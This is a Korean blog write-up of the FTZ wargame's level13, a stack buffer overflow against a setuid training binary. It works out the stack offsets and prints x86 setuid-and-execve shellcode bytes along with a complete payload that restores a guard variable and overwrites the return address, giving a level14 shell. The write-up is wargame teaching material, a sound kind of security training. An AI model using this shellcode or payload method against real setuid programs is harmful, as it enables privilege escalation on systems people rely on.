FTZ level13 풀이
FTZ level13 풀이
level13 의 홈디렉토리 내용이다. 이번에도 attack me 프로그램이 존재한다.
attackme 프로그램에는 level14의 권한으로 setuid가 걸려 있다.
hint 파일을 확인해보자
hint 파일에 c 소스코드가 들어있다. 해석해보자
코드 해석 내용을 참조하면 i 변수를 이용해 버퍼 오버 플로우 공격 여부를 검사하는 것 같다. 그래서 페이로드 작성시 중간에 변수 i 부분을 다시 0x1234567 값으로 변조하는 페이로드를 작성해야 할 것 같다.
어떤 식으로 문제를 해결할지 생각해보자
1 : buf[1024]~ 변수 i 까지의 거리, 변수 i ~ ret 까지의 거리
2 : 환경 변수에 쉘코드를 등록하고 주소 확인
3 : ret위치의 데이터를 쉘코드 주소로 변조시키는 페이로드 작성
먼저 buf[1024] ~ 변수 i 까지의 거리와 변수 i~ ret 까지의 거리를 알아보자
디버깅을 위해 attackme 파일을 tmp/ 디렉터리로 이동
0x080484d6 <main+54>: lea eax,[ebp-1048] 해당 부분을 확인하면 buf 에서 ebp 까지의 거리를 구할 수 있다.
buf 에서 ebp 까지의 거리 = 1048
buf 에서 ret 까지의 거리 = 1052(1048+4Byte)
0x080484e5 <main+69>: cmp DWORD PTR [ebp-12],0x1234567 해당 부분은 if문에서 변수 i 와 0x1234567를 비교하는 부분이다.
i 에서 ebp 까지의 거리 = 12
i 에서 ret 까지의 거리 = 16
최종적으로 buf 에서 i 까지의 거리는 (buf에서 ret까지의 거리) - (i에서 ret 까지의 거리) = 1052 - 16 = 1036
i변수의 끝에서 ret 까지의 거리 = (i에서 ret까지의 거리) - i의 크기(long형은 4Byte) = 16 - 4 =12
이제 쉘코드 주소를 환경 변수에 등록하자
<SHELL CODE>
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
그리고 쉘코드의 주소를 알아오기 위해 간단한 c소스코드를 작성후 실행해 주소를 얻도록 하자
쉘 코드의 주소 = 0xbffffef6
본격적으로 페이로드를 작성해보자.
페이로드는 [buf에서 i까지의 거리] + [i값] + [i변수의 끝에서 ret까지의 거리] + [쉘코드 주소] 이런식으로 작성 할 것이다.
최종적으로 페이로드는 ./attackme `python -c 'print "\x90"*1036+"\x67\x45\x23\x01"+"\x90"*12+"\xf6\xfe\xff\xbf"'`
페이로드를 실행하면 성공적으로 쉘을 획득하게 되고 my-pass 명령어로 level14 패스워드 출력!
level13 claer ~
'System Hacking > FTZ' 카테고리의 다른 글
FTZ level15 풀이 (0) | 2017.07.04 |
---|---|
FTZ level14 풀이 (0) | 2017.07.04 |
FTZ level12 풀이 (1) | 2017.07.04 |
FTZ level11 풀이 (0) | 2017.07.04 |
FTZ level10 풀이 (0) | 2017.06.30 |